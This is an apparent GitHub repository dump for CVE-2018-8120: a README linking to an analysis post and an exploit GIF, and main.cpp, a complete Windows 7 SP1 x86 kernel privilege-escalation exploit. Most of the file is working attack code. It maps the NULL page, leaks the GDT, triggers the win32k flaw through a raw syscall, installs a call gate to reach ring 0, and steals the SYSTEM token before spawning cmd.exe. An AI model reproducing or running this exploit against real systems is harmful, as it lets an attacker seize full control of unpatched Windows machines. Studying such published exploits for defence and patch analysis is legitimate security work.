├── README.md ├── exploit.gif └── main.cpp /README.md: -------------------------------------------------------------------------------- 1 | # cve-2018-8120 2 | ## Details see: http://bigric3.blogspot.com/2018/05/cve-2018-8120-analysis-and-exploit.html 3 | ![image](https://github.com/bigric3/cve-2018-8120/blob/master/exploit.gif) 4 | -------------------------------------------------------------------------------- /exploit.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/bigric3/cve-2018-8120/e6ee840b07a233ba6c8f82640c5b44b955eb6c43/exploit.gif -------------------------------------------------------------------------------- /main.cpp: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include "double_free.h" 10 | 11 | 12 | 13 | // Windows 7 SP1 x86 Offsets 14 | #define KTHREAD_OFFSET 0x124 // nt!_KPCR.PcrbData.CurrentThread 15 | #define EPROCESS_OFFSET 0x050 // nt!_KTHREAD.ApcState.Process 16 | #define PID_OFFSET 0x0B4 // nt!_EPROCESS.UniqueProcessId 17 | #define FLINK_OFFSET 0x0B8 // nt!_EPROCESS.ActiveProcessLinks.Flink 18 | #define TOKEN_OFFSET 0x0F8 // nt!_EPROCESS.Token 19 | #define SYSTEM_PID 0x004 // SYSTEM Process PID 20 | 21 | 22 | #pragma comment(lib,"User32.lib") 23 | 24 | 25 | typedef struct _FARCALL { 26 | DWORD Offset; 27 | WORD SegSelector; 28 | } FARCALL, *PFARCALL; 29 | 30 | 31 | FARCALL Farcall = { 0 }; 32 | 33 | 34 | LONG Sequence = 1; 35 | LONG Actual[3]; 36 | 37 | _NtQuerySystemInformation NtQuerySystemInformation; 38 | LPCSTR lpPsInitialSystemProcess = "PsInitialSystemProcess"; 39 | LPCSTR lpPsReferencePrimaryToken = "PsReferencePrimaryToken"; 40 | FARPROC fpPsInitialSystemProcess = NULL; 41 | FARPROC fpPsReferencePrimaryToken = NULL; 42 | NtAllocateVirtualMemory_t NtAllocateVirtualMemory; 43 | 44 | 45 | 46 | void PopShell() 47 | { 48 | STARTUPINFO si = { sizeof(STARTUPINFO) }; 49 | PROCESS_INFORMATION pi; 50 | 51 | ZeroMemory(&si, sizeof(si)); 52 | si.cb = sizeof(si); 53 | ZeroMemory(&pi, sizeof(pi)); 54 | 55 | CreateProcess("C:\\Windows\\System32\\cmd.exe", NULL, NULL, NULL, 0, CREATE_NEW_CONSOLE, NULL, NULL, &si, &pi); 56 | 57 | } 58 | 59 | 60 | 61 | FARPROC WINAPI KernelSymbolInfo(LPCSTR lpSymbolName) 62 | { 63 | DWORD len; 64 | PSYSTEM_MODULE_INFORMATION ModuleInfo; 65 | LPVOID kernelBase = NULL; 66 | PUCHAR kernelImage = NULL; 67 | HMODULE hUserSpaceKernel; 68 | LPCSTR lpKernelName = NULL; 69 | FARPROC pUserKernelSymbol = NULL; 70 | FARPROC pLiveFunctionAddress = NULL; 71 | 72 | 73 | 74 | 75 | NtQuerySystemInformation = (_NtQuerySystemInformation) 76 | GetProcAddress(GetModuleHandle("ntdll.dll"), "NtQuerySystemInformation"); 77 | if (NtQuerySystemInformation == NULL) { 78 | return NULL; 79 | } 80 | 81 | NtQuerySystemInformation(SystemModuleInformation, NULL, 0, &len); 82 | ModuleInfo = (PSYSTEM_MODULE_INFORMATION)VirtualAlloc(NULL, len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); 83 | if (!ModuleInfo) 84 | { 85 | return NULL; 86 | } 87 | 88 | NtQuerySystemInformation(SystemModuleInformation, ModuleInfo, len, &len); 89 | 90 | kernelBase = ModuleInfo->Module[0].ImageBase; 91 | kernelImage = ModuleInfo->Module[0].FullPathName; 92 | 93 | lpKernelName = (LPCSTR)ModuleInfo->Module[0].FullPathName + ModuleInfo->Module[0].OffsetToFileName; 94 | 95 | hUserSpaceKernel = LoadLibraryExA(lpKernelName, 0, 0); 96 | if (hUserSpaceKernel == NULL) 97 | { 98 | VirtualFree(ModuleInfo, 0, MEM_RELEASE); 99 | return NULL; 100 | } 101 | 102 | pUserKernelSymbol = GetProcAddress(hUserSpaceKernel, lpSymbolName); 103 | if (pUserKernelSymbol == NULL) 104 | { 105 | VirtualFree(ModuleInfo, 0, MEM_RELEASE); 106 | return NULL; 107 | } 108 | 109 | pLiveFunctionAddress = (FARPROC)((PUCHAR)pUserKernelSymbol - (PUCHAR)hUserSpaceKernel + (PUCHAR)kernelBase); 110 | 111 | FreeLibrary(hUserSpaceKernel); 112 | VirtualFree(ModuleInfo, 0, MEM_RELEASE); 113 | 114 | return pLiveFunctionAddress; 115 | } 116 | 117 | 118 | LONG WINAPI 119 | VectoredHandler1( 120 | struct _EXCEPTION_POINTERS *ExceptionInfo 121 | ) 122 | { 123 | 124 | HMODULE v2; 125 | 126 | if (ExceptionInfo->ExceptionRecord->ExceptionCode == 0xE06D7363) 127 | return 1; 128 | 129 | v2 = GetModuleHandleA("kernel32.dll"); 130 | ExceptionInfo->ContextRecord->Eip = (DWORD)GetProcAddress(v2, "ExitThread"); 131 | 132 | return EXCEPTION_CONTINUE_EXECUTION; 133 | } 134 | 135 | 136 | 137 | DWORD FindAddressByHandle( HANDLE hCurProcess ) 138 | { 139 | PSYSTEM_HANDLE_INFORMATION pSysHandleInformation = new SYSTEM_HANDLE_INFORMATION; 140 | DWORD size = 0xfff00; 141 | DWORD needed = 0; 142 | DWORD dwPid = 0; 143 | NTSTATUS status; 144 | 145 | 146 | pSysHandleInformation = (PSYSTEM_HANDLE_INFORMATION)malloc(size); 147 | memset(pSysHandleInformation, 0, size); 148 | status = NtQuerySystemInformation(SystemHandleInformation, pSysHandleInformation, size, &needed); 149 | 150 | // pSysHandleInformation = (PSYSTEM_HANDLE_INFORMATION)new BYTE[needed]; 151 | // status = NtQuerySystemInformation(SystemHandleInformation, pSysHandleInformation, needed, 0); 152 | 153 | // if (!status) 154 | // { 155 | // if (0 == needed) 156 | // { 157 | // return -1;// some other error 158 | // } 159 | // // The previously supplied buffer wasn't enough. 160 | // delete pSysHandleInformation; 161 | // size = needed + 1024; 162 | // 163 | // if (!status) 164 | // { 165 | // // some other error so quit. 166 | // delete pSysHandleInformation; 167 | // return -1; 168 | // } 169 | // } 170 | 171 | dwPid = GetCurrentProcessId(); 172 | 173 | for (DWORD i = 0; i < pSysHandleInformation->dwCount; i++) 174 | { 175 | SYSTEM_HANDLE& sh = pSysHandleInformation->Handles[i]; 176 | 177 | if (sh.dwProcessId == dwPid && (DWORD)hCurProcess == (DWORD)sh.wValue) 178 | { 179 | return (DWORD)(sh.pAddress); 180 | } 181 | 182 | } 183 | 184 | return -1; 185 | 186 | } 187 | 188 | 189 | HANDLE hDesHandle = NULL; 190 | DWORD dwCurAddress; 191 | PACCESS_TOKEN pToken; 192 | DWORD *v1; 193 | DWORD v2, *p2; 194 | DWORD i; 195 | PVOID Memory = NULL; 196 | DWORD ori_ret = 0; 197 | 198 | void __declspec(naked) EscapeOfPrivilege(HANDLE hCurProcess) 199 | { 200 | 201 | 202 | __asm 203 | { 204 | push ebp 205 | mov ebp,esp 206 | } 207 | 208 | //v1 = (DWORD *)&hCurProcess; 209 | if (DuplicateHandle(hCurProcess, hCurProcess, hCurProcess, &hDesHandle, 0x10000000u, 0, 2u)) 210 | { 211 | dwCurAddress = FindAddressByHandle(hDesHandle); 212 | 213 | if ( dwCurAddress == -1 ) 214 | { 215 | printf("Find Current Process address Failed!\n"); 216 | system("pause"); 217 | //exit(-1); 218 | } 219 | 220 | printf("addrProcess:0x%08x\n", dwCurAddress); 221 | 222 | 223 | v1 = (DWORD *)dwCurAddress; 224 | 225 | __asm{ 226 | push ecx; save context 227 | lea ecx, Farcall 228 | call fword ptr[ecx] 229 | mov eax, [esp] 230 | mov [ebp-0x2c], eax 231 | add esp,4 232 | 233 | } 234 | 235 | p2 = &v2; 236 | p2 = *(DWORD**)fpPsInitialSystemProcess; 237 | pToken = ((PsReferencePrimaryToken_t)fpPsReferencePrimaryToken)(p2); 238 | 239 | 240 | // 241 | //// walk through token offset 242 | // if ((*p2 & 0xFFFFFFF8) != (unsigned long)pToken) 243 | // { 244 | // do 245 | // { 246 | // i = p2[1]; 247 | // ++p2; 248 | // ++v1; 249 | // } while ((i & 0xFFFFFFF8) != (unsigned long)pToken); 250 | // } 251 | 252 | 253 | 254 | Memory = (PVOID)(ULONG)((char*)dwCurAddress + 0xf8); 255 | *(PULONG)Memory = *(PULONG)((char*)p2 + 0xf8); 256 | 257 | __asm 258 | { 259 | mov eax, [ebp-0x2c] 260 | push eax 261 | mov eax, PopShell 262 | push eax 263 | retf 264 | } 265 | } 266 | 267 | } 268 | 269 | 270 | 271 | 272 | int fill_callgate(int a1, int a2, int a3) 273 | { 274 | int *v3; // edx 275 | int v4; // ecx 276 | signed int v5; // esi 277 | 278 | v3 = (int *)(a1 + 4); 279 | v4 = a2 + 352; 280 | v5 = 87; 281 | do 282 | { 283 | *v3 = v4; 284 | v4 += 8; 285 | v3 += 2; 286 | --v5; 287 | } while (v5); 288 | if (!a3) 289 | { 290 | *(DWORD *)(a1 + 96) = 0xC3; // ret 291 | *(WORD *)(a1 + 76) = a2 + 0x1B4; // address low offset 292 | *(WORD *)(a1 + 82) = (unsigned int)(a2 + 0x1B4) >> 16; // address high offset 293 | *(WORD *)(a1 + 78) = 0x1A8; // segment selector 294 | *(WORD *)(a1 + 80) = 0xEC00u; 295 | *(WORD *)(a1 + 84) = 0xFFFFu; 296 | *(WORD *)(a1 + 86) = 0; 297 | *(BYTE *)(a1 + 88) = 0; 298 | *(BYTE *)(a1 + 91) = 0; 299 | *(BYTE *)(a1 + 89) = 0x9Au; 300 | *(BYTE *)(a1 + 90) = 0xCFu; 301 | } 302 | return 1; 303 | } 304 | 305 | 306 | 307 | 308 | void main() 309 | { 310 | 311 | NTSTATUS ntStatus; 312 | PVOID pMappedAddress = NULL; 313 | SIZE_T SectionSize = 0x4000; 314 | DWORD_PTR dwArg1; 315 | DWORD dwArg2; 316 | PVOID pMappedAddress1 = NULL; 317 | 318 | RtlAdjustPrivilege_t RtlAdjustPrivilege; 319 | 320 | DWORD dwPageSize = 0; 321 | char szGDT[6]; 322 | struct _SYSTEM_INFO SystemInfo; 323 | HANDLE hCurThread = NULL, hCurProcess = NULL; 324 | HMODULE hNtdll = NULL; 325 | PVOID dwAllocMem = (PVOID)0x100; 326 | PVOID pAllocMem; 327 | HWINSTA hWndstation; 328 | DWORD temp; 329 | 330 | 331 | fpPsInitialSystemProcess = KernelSymbolInfo(lpPsInitialSystemProcess); 332 | fpPsReferencePrimaryToken = KernelSymbolInfo(lpPsReferencePrimaryToken); 333 | 334 | if ( fpPsInitialSystemProcess && fpPsReferencePrimaryToken ) 335 | { 336 | AddVectoredExceptionHandler(1u, VectoredHandler1); 337 | 338 | hCurThread = GetCurrentThread(); 339 | dwArg1 = SetThreadAffinityMask(hCurThread, 1u); 340 | printf("thread prev mask : 0x % 08x\n", dwArg1); 341 | 342 | __asm 343 | { 344 | sgdt szGDT; 345 | } 346 | 347 | temp = *(int*)(szGDT + 2); 348 | printf("addrGdt:%#p\n", *(int*)(szGDT + 2)); 349 | 350 | GetSystemInfo(&SystemInfo); 351 | dwPageSize = SystemInfo.dwPageSize; 352 | 353 | hNtdll = GetModuleHandle("ntdll.dll"); 354 | NtAllocateVirtualMemory = (NtAllocateVirtualMemory_t)GetProcAddress(hNtdll, "NtAllocateVirtualMemory"); 355 | if (!NtAllocateVirtualMemory) { 356 | printf("\t\t[-] Failed Resolving NtAllocateVirtualMemory: 0x%X\n", GetLastError()); 357 | system("pause"); 358 | //exit(-1); 359 | } 360 | 361 | 362 | RtlAdjustPrivilege = (RtlAdjustPrivilege_t)GetProcAddress(hNtdll, "RtlAdjustPrivilege"); 363 | if (!NtAllocateVirtualMemory) { 364 | printf("\t\t[-] Failed Resolving RtlAdjustPrivilege: 0x%X\n", GetLastError()); 365 | system("pause"); 366 | //exit(-1); 367 | } 368 | 369 | 370 | hCurProcess = GetCurrentProcess(); 371 | ntStatus = NtAllocateVirtualMemory(hCurProcess, &dwAllocMem, 0, (PULONG)&dwPageSize, 0x3000, 4); 372 | 373 | 374 | if (ntStatus) 375 | { 376 | 377 | printf("Alloc mem Failed! Error Code: 0x%08x!\n", ntStatus); 378 | system("pause"); 379 | //exit(-1); 380 | } 381 | 382 | pAllocMem = operator new(0x400); 383 | memset(pAllocMem, 0, 0x400u); 384 | 385 | *(DWORD *)(*(DWORD*)dwAllocMem + 0x14)= *(DWORD*)pAllocMem; 386 | *(DWORD *)(*(DWORD*)dwAllocMem + 0x2C) = temp+0x154; 387 | 388 | fill_callgate((int)pAllocMem, temp, 0); 389 | 390 | //*(DWORD *)(v22 + 20) = *(DWORD*)pAllocMem; 391 | //*(DWORD *)(v22 + 44) = v22[1] + 340; 392 | 393 | printf("ready to trigger!\n"); 394 | 395 | hWndstation = CreateWindowStationW(0, 0, 0x80000000, 0); 396 | 397 | if ( hWndstation ) 398 | { 399 | if (SetProcessWindowStation(hWndstation)) 400 | { 401 | __asm { 402 | //int 3 403 | push esi 404 | mov esi, pAllocMem 405 | push eax 406 | push edx 407 | push esi 408 | push esi 409 | mov eax,0x1226 410 | mov edx, 7FFE0300h 411 | call dword ptr[edx] 412 | pop esi 413 | pop esi 414 | pop edx 415 | pop eax 416 | pop esi 417 | } 418 | 419 | Farcall.SegSelector = 0x1a0; 420 | 421 | EscapeOfPrivilege( hCurProcess ); 422 | 423 | 424 | PopShell(); 425 | 426 | } 427 | else 428 | { 429 | int n = GetLastError(); 430 | printf("step2 failed:0x%08x\n", n); 431 | system("pause"); 432 | //exit(-1); 433 | } 434 | 435 | } 436 | else 437 | { 438 | int n = GetLastError(); 439 | printf("step1 failed:0x%08x\n", n); 440 | system("pause"); 441 | //exit(-1); 442 | } 443 | 444 | } 445 | else 446 | { 447 | printf("Init Symbols Failed! \n"); 448 | system("pause"); 449 | //exit(-1); 450 | } 451 | 452 | } --------------------------------------------------------------------------------